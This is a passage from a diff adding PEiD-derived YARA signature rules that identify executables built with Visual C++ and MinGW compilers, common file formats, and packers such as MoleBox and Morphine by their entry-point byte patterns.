+        $a = {83 7C 24 08 01 75 09 8B 44 24 04 A3 ?? ?? 00 10 E8 8B FF FF FF}
+    condition:
+        $a
+}
+rule PEiD_01106_Microsoft_Visual_C___v6_0_SPx_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 SPx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 6A 01 8B F0 FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_01107_Microsoft_Visual_C___v6_0_SPx_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 SPx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 8B F0 8A ?? 3C 22}
+    condition:
+        $a
+}
+rule PEiD_01108_Microsoft_Visual_C___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57}
+    condition:
+        $a
+}
+rule PEiD_01109_Microsoft_Visual_C___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 50 53 56 57 BE ?? ?? ?? ?? 8D 7D F4 A5 A5 66 A5 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01110_Microsoft_Visual_C___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57 89 65 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF}
+    condition:
+        $a
+}
+/*
+rule PEiD_01111_Microsoft_Visual_C___v7_0__64_Bit__
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0 (64 Bit)]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? 41 00 00 00 00 00 00 00 63 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 20 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01112_Microsoft_Visual_C___v7_0__64_Bit__
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0 (64 Bit)]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? 41 00 00 00 00 00 00 00 63 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 20 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+*/
+rule PEiD_01113_Microsoft_Visual_C___v7_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0 DLL]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 ?? ?? 83}
+    condition:
+        $a
+}
+
+rule PEiD_01114_Microsoft_Visual_C___v7_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10}
+    condition:
+        $a
+}
+
+rule PEiD_01115_Microsoft_Visual_C___v7_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 0C 68 88 BF 01 10 E8 B8 1C 00 00 33 C0 40 89 45 E4 8B 75 0C 33 FF 3B F7 75 0C 39 3D 6C 1E 12 10 0F 84 B3 00 00 00 89 7D FC 3B F0 74 05 83 FE 02 75 31 A1 98 36 12 10 3B C7 74 0C FF 75 10 56}
+    condition:
+        $a
+}
+
+rule PEiD_01116_Microsoft_Visual_C___v7_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 89 65 ?? 8B F4 89 3E 56 FF 15 ?? ?? ?? ?? 8B 4E ?? 89 0D ?? ?? ?? ?? 8B 46 ?? A3}
+    condition:
+        $a
+}
+rule PEiD_01117_Microsoft_Visual_C___v7_1_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 75 09 83 3D ?? ?? 40 00 00 EB 26 83 FE 01 74 05 83 FE 02 75 22 A1}
+    condition:
+        $a
+}
+rule PEiD_01118_Microsoft_Visual_C___v7_1_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 E4 53 56 57 89 65 E8 C7 45 E4 01 00 00 00 C7 45 FC}
+    condition:
+        $a
+}
+rule PEiD_01119_Microsoft_Visual_C___v7_1_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 40 89 45 E4}
+    condition:
+        $a
+}
+rule PEiD_01120_Microsoft_Visual_C___v7_1_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 ?? ?? ?? 24 04 50 A3 ?? ?? ?? 50 FF 15 00 10 ?? 50 33 C0 40 C2 0C 00}
+    condition:
+        $a
+}
+rule PEiD_01121_Microsoft_Visual_C___v7_1_EXE_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 EXE]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 68 ?? ?? ?? 01 E8 ?? ?? 00 00 66 81 3D 00 00 00 01 4D 5A 75 ?? A1 3C 00 00 01 ?? ?? 00 00 00 01}
+    condition:
+        $a
+}
+rule PEiD_01122_Microsoft_Visual_C___V8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ V8.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB 94 00 00 00 53 6A 00 8B ?? ?? ?? ?? ?? FF D7 50 FF ?? ?? ?? ?? ?? 8B F0 85 F6 75 0A 6A 12 E8 ?? ?? ?? ?? 59 EB 18 89 1E 56 FF ?? ?? ?? ?? ?? 56 85 C0 75 14 50 FF D7 50 FF ?? ?? ?? ?? ?? B8}
+    condition:
+        $a
+}
+rule PEiD_01123_Microsoft_Visual_C___vx_x_
+{
+    meta:
+        description = "[Microsoft Visual C++ vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 56 8B ?? ?? ?? 85 F6 57 B8 ?? ?? ?? ?? 75 ?? 8B ?? ?? ?? ?? ?? 85 C9 75 ?? 33 C0 5F 5E 5D 5B C2}
+    condition:
+        $a
+}
+rule PEiD_01124_Microsoft_Visual_C___vx_x_
+{
+    meta:
+        description = "[Microsoft Visual C++ vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 56 57 BF ?? ?? ?? ?? 8B ?? ?? 3B F7 0F}
+    condition:
+        $a
+}
+rule PEiD_01125_Microsoft_Visual_C___
+{
+    meta:
+        description = "[Microsoft Visual C++]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01126_Microsoft_Visual_C___
+{
+    meta:
+        description = "[Microsoft Visual C++]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 08 56 83 E8 ?? 74 ?? 48 75}
+    condition:
+        $a
+}
+
+rule PEiD_01127_Microsoft_Visual_C___
+{
+    meta:
+        description = "[Microsoft Visual C++]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 08 83 ?? ?? 74}
+    condition:
+        $a
+}
+
+rule PEiD_01128_Microsoft_Visual_Studio__NET_
+{
+    meta:
+        description = "[Microsoft Visual Studio .NET]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01129_Microsoft_WAV_Audio_file_
+{
+    meta:
+        description = "[Microsoft WAV Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 57 41 56 45 66 6D 74}
+    condition:
+        $a
+}
+
+rule PEiD_01130_Microsoft_Windows_Shortcut_file_
+{
+    meta:
+        description = "[Microsoft Windows Shortcut file]"
+        ep_only = "false"
+    strings:
+        $a = {4C 00 00 00 01 14 02 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01131_Microsoft_Windows_Update_CAB_SFX_module_
+{
+    meta:
+        description = "[Microsoft Windows Update CAB SFX module]"
+        ep_only = "false"
+    strings:
+        $a = {E9 C5 FA FF FF 55 8B EC 56 8B 75 08 68 04 08 00 00 FF D6 59 33 C9 3B C1 75 0F 51 6A 05 FF 75 28 E8 2E 11 00 00 33 C0 EB 69 8B 55 0C 83 88 88 00 00 00 FF 83 88 84 00 00 00 FF 89 50 04 8B 55 10 89 50 0C 8B 55 14 89 50 10 8B 55 18 89 50 14 8B 55 1C 89 50 18}
+    condition:
+        $a
+}
+
+rule PEiD_01132_Microsoft_Windows_Update_CAB_SFX_module_
+{
+    meta:
+        description = "[Microsoft Windows Update CAB SFX module]"
+        ep_only = "false"
+    strings:
+        $a = {E9 C5 FA FF FF 55 8B EC 56 8B 75 08 68 04 08 00 00 FF D6 59 33 C9 3B C1 75 0F 51 6A 05 FF 75 28 E8 2E 11 00 00 33 C0 EB 69 8B 55 0C 83 88 88 00 00 00 FF 83 88 84 00 00 00 FF 89 50 04 8B 55 10 89 50 0C 8B 55 14 89 50 10 8B 55 18 89 50 14 8B 55 1C 89 50 18 8B 55 20 89 50 1C 8B 55 24 89 50 20 8B 55 28 89 48 48 89 48 44 89 48 4C B9 FF FF 00 00 89 70 08 89 10 66 C7 80 B2 00 00 00 0F 00 89 88 A0 00 00 00 89 88 A8 00 00 00 89 88 A4 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01133_MIDI_Music_file_
+{
+    meta:
+        description = "[MIDI Music file]"
+        ep_only = "false"
+    strings:
+        $a = {4D 54 68 64 00 00 00 06 ?? ?? ?? ?? ?? ?? 4D 54}
+    condition:
+        $a
+}
+
+rule PEiD_01134_MinGW_3_2_x__Dll_main__
+{
+    meta:
+        description = "[MinGW 3.2.x (Dll_main)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 96 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00}
+    condition:
+        $a
+}
+
+rule PEiD_01135_MinGW_3_2_x__Dll_WinMain__
+{
+    meta:
+        description = "[MinGW 3.2.x (Dll_WinMain)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 76 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00}
+    condition:
+        $a
+}
+
+rule PEiD_01136_MinGW_3_2_x__main__
+{
+    meta:
+        description = "[MinGW 3.2.x (main)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 E4 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 E4 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 00 41 40 00 89 EC 5D}
+    condition:
+        $a
+}
+
+rule PEiD_01137_MinGW_3_2_x__WinMain__
+{
+    meta:
+        description = "[MinGW 3.2.x (WinMain)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 FC 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 FC 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 18 41 40 00 89 EC 5D}
+    condition:
+        $a
+}
+
+rule PEiD_01138_MinGW_GCC_2_x_
+{
+    meta:
+        description = "[MinGW GCC 2.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_01139_MinGW_GCC_3_x_
+{
+    meta:
+        description = "[MinGW GCC 3.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? ?? E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? 55}
+    condition:
+        $a
+}
+
+rule PEiD_01140_MinGW_GCC_DLL_v2xx_
+{
+    meta:
+        description = "[MinGW GCC DLL v2xx]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01141_MinGW_GCC_v2_x_
+{
+    meta:
+        description = "[MinGW GCC v2.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 E8 ?? ?? ?? ?? C9 C3 ?? ?? 45 58 45}
+    condition:
+        $a
+}
+
+rule PEiD_01142_MinGW_v3_2_x___mainCRTStartup__
+{
+    meta:
+        description = "[MinGW v3.2.x (_mainCRTStartup)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 40 00 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01143_MinGW_v3_2_x__Dll_main__
+{
+    meta:
+        description = "[MinGW v3.2.x (Dll_main)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 96 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00 00 00 EB EB 8D B4 26 00 00 00 00 85 C0 75 D0 E8 47 00 00 00 EB C9 90 8D 74 26 00 C7 04 24 80 00 00 00 E8 F4 05 00 00 A3 00 30 00 10 85 C0 74 1A C7 00 00 00 00 00 A3 10 30 00 10 E8 3B 02 00 00 E8 C6 01 00 00 E9 75 FF FF FF E8 BC 05 00 00 C7 00 0C 00 00 00 31 C0 EB 98 89 F6 55 89 E5 83 EC 08 89 5D FC 8B 15 00 30 00 10 85 D2 74 29 8B 1D 10 30 00 10 83 EB 04 39 D3 72 0D 8B 03 85 C0 75 2A 83 EB 04 39 D3 73 F3 89 14 24 E8 6B 05 00 00 31 C0 A3 00 30 00 10 C7 04 24 00 00 00 00 E8 48 05 00 00 8B 5D FC 89 EC 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_01144_MinGW_v3_2_x__Dll_mainCRTStartup__
+{
+    meta:
+        description = "[MinGW v3.2.x (Dll_mainCRTStartup)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 00 10 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01145_MinGW_v3_2_x__Dll_WinMain__
+{
+    meta:
+        description = "[MinGW v3.2.x (Dll_WinMain)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 76 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00 00 00 EB EB 8D B4 26 00 00 00 00 85 C0 75 D0 E8 47 00 00 00 EB C9 90 8D 74 26 00 C7 04 24 80 00 00 00 E8 A4 05 00 00 A3 00 30 00 10 85 C0 74 1A C7 00 00 00 00 00 A3 10 30 00 10 E8 1B 02 00 00 E8 A6 01 00 00 E9 75 FF FF FF E8 6C 05 00 00 C7 00 0C 00 00 00 31 C0 EB 98 89 F6 55 89 E5 83 EC 08 89 5D FC 8B 15 00 30 00 10 85 D2 74 29 8B 1D 10 30 00 10 83 EB 04 39 D3 72 0D 8B 03 85 C0 75 2A 83 EB 04 39 D3 73 F3 89 14 24 E8 1B 05 00 00 31 C0 A3 00 30 00 10 C7 04 24 00 00 00 00 E8 F8 04 00 00 8B 5D FC 89 EC 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_01146_MinGW_v3_2_x__main__
+{
+    meta:
+        description = "[MinGW v3.2.x (main)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 E4 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 E4 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 00 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 F4 40 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 53 83 EC 24 C7 04 24 A0 11 40 00 E8 8D 07 00 00 83 EC 04 E8 85 02 00 00 C7 04 24 00 20 40 00 8B 15 10 20 40 00 8D 4D F8 C7 45 F8 00 00 00 00 89 4C 24 10 89 54 24 0C 8D 55 F4 89 54 24 08 C7 44 24 04 04 20 40 00 E8 02 07 00 00 A1 20 20 40 00 85 C0 74 76 A3 30 20 40 00 A1 F0 40 40 00 85 C0 74 1F 89 04 24 E8 C3 06 00 00 8B 1D 20 20 40 00 89 04 24 89 5C 24 04 E8 C1 06 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01147_MinGW_v3_2_x__WinMain__
+{
+    meta:
+        description = "[MinGW v3.2.x (WinMain)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 FC 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 FC 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 18 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 0C 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 53 83 EC 24 C7 04 24 A0 11 40 00 E8 5D 08 00 00 83 EC 04 E8 55 03 00 00 C7 04 24 00 20 40 00 8B 15 10 20 40 00 8D 4D F8 C7 45 F8 00 00 00 00 89 4C 24 10 89 54 24 0C 8D 55 F4 89 54 24 08 C7 44 24 04 04 20 40 00 E8 D2 07 00 00 A1 20 20 40 00 85 C0 74 76 A3 30 20 40 00 A1 08 41 40 00 85 C0 74 1F 89 04 24 E8 93 07 00 00 8B 1D 20 20 40 00 89 04 24 89 5C 24 04 E8 91 07 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01148_MingWin32___Dev_C___v4_9_9_1__h__
+{
+    meta:
+        description = "[MingWin32 - Dev C++ v4.9.9.1 (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 ?? ?? 00 00 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01149_MingWin32_v_____h__
+{
+    meta:
+        description = "[MingWin32 v?.? (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 E8 ?? FE FF FF 90 8D B4 26 00 00 00 00 55}
+    condition:
+        $a
+}
+
+rule PEiD_01150_Minke_1_0_1___by_Codius_
+{
+    meta:
+        description = "[Minke 1.0.1 - by Codius]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 ?? ?? ?? ?? ?? 10 E8 7A F6 FF FF BE 68 66 00 10 33 C0 55 68 DB 40 00 10 64 FF 30 64 89 20 E8 FA F8 FF FF BA EC 40 00 10 8B C6 E8 F2 FA FF FF 8B D8 B8 6C 66 00 10 8B 16 E8 88 F2 FF FF B8 6C 66 00 10 E8 76 F2 FF FF 8B D0 8B C3 8B 0E E8}
+    condition:
+        $a
+}
+
+rule PEiD_01151_Minke_1_0_1___by_Codius_
+{
+    meta:
+        description = "[Minke 1.0.1 - by Codius]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 ?? ?? ?? ?? ?? 10 E8 7A F6 FF FF BE 68 66 00 10 33 C0 55 68 DB 40 00 10 64 FF 30 64 89 20 E8 FA F8 FF FF BA EC 40 00 10 8B C6 E8 F2 FA FF FF 8B D8 B8 6C 66 00 10 8B 16 E8 88 F2 FF FF B8 6C 66 00 10 E8 76 F2 FF FF 8B D0 8B C3 8B 0E E8 E3 E4 FF FF E8 2A F9 FF FF E8 C1 F8 FF FF B8 6C 66 00 10 8B 16 E8 6D FA FF FF E8 14 F9 FF FF E8 AB F8 FF FF 8B 06 E8 B8 E3 FF FF 8B D8 B8 6C 66 00 10 E8 38 F2 FF FF 8B D3 8B 0E E8 A7 E4 FF ?? ?? ?? ?? C4 FB FF FF E8 E7 F8 FF FF 8B C3 E8 B0 E3 FF FF E8 DB F8 FF FF 33 C0 5A 59 59 64 89 10 68 E2 40 00 10 C3 E9 50 EB FF FF EB F8 5E 5B E8 BB EF FF FF 00 00 00 43 41 31 38}
+    condition:
+        $a
+}
+
+rule PEiD_01152_Minke_V1_0_1____Codius___Sign_by_fly_
+{
+    meta:
+        description = "[Minke V1.0.1 -> Codius ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {26 3D 4F 38 C2 82 37 B8 F3 24 42 03 17 9B 3A 83 01 00 00 CC 00 00 00 00 06 00 00 00 01 64 53 74 75 62 00 10 55 54 79 70 65 73 00 00 C7 53 79 73 74 65 6D 00 00 81 53 79 73 49 6E 69 74 00 0C 4B 57 69 6E 64 6F 77 73 00 00 8A 75 46 75 6E 63 74 69 6F 6E 73}
+    condition:
+        $a
+}
+rule PEiD_01153_mkfpack____llydd_
+{
+    meta:
+        description = "[mkfpack -> llydd]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 5B 81 EB 05 00 00 00 8B 93 9F 08 00 00 53 6A 40 68 00 10 00 00 52 6A 00 FF 93 32 08 00 00 5B 8B F0 8B BB 9B 08 00 00 03 FB 56 57 E8 86 08 00 00 83 C4 08 8D 93 BB 08 00 00 52 53 FF E6}
+    condition:
+        $a
+}
+
+rule PEiD_01154_modified_HACKSTOP_v1_11f_
+{
+    meta:
+        description = "[modified HACKSTOP v1.11f]"
+        ep_only = "true"
+    strings:
+        $a = {52 B4 30 CD 21 52 FA ?? FB 3D ?? ?? EB ?? CD 20 0E 1F B4 09 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01155_MoleBox_v2_3_0____Teggo_
+{
+    meta:
+        description = "[MoleBox v2.3.0 -> Teggo]"
+        ep_only = "false"
+    strings:
+        $a = {42 04 E8 ?? ?? 00 00 A3 ?? ?? ?? 00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 ?? 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC CC CC CC CC CC CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 20 61 58 FF D0 E8 ?? ?? 00 00 CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_01156_MoleBox_v2_5_4____Teggo_
+{
+    meta:
+        description = "[MoleBox v2.5.4 -> Teggo]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? 00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 8B 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 24 61 58 58 FF D0 E8 ?? ?? 00 00 6A 00 FF 15 ?? ?? ?? 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_01157_MoleBox_V2_X____MoleStudio_com_
+{
+    meta:
+        description = "[MoleBox V2.X -> MoleStudio.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 E8 4F 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01158_Morphine_2_7____Holy_Father___Ratter_29A__h__
+{
+    meta:
+        description = "[Morphine 2.7 -> Holy_Father & Ratter/29A (h)]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+    condition:
+        $a
+}
+
+rule PEiD_01159_Morphine_2_7____Holy_Father___Ratter_29A_
+{
+    meta:
+        description = "[Morphine 2.7 -> Holy_Father & Ratter/29A]"
+        ep_only = "false"
+    strings:
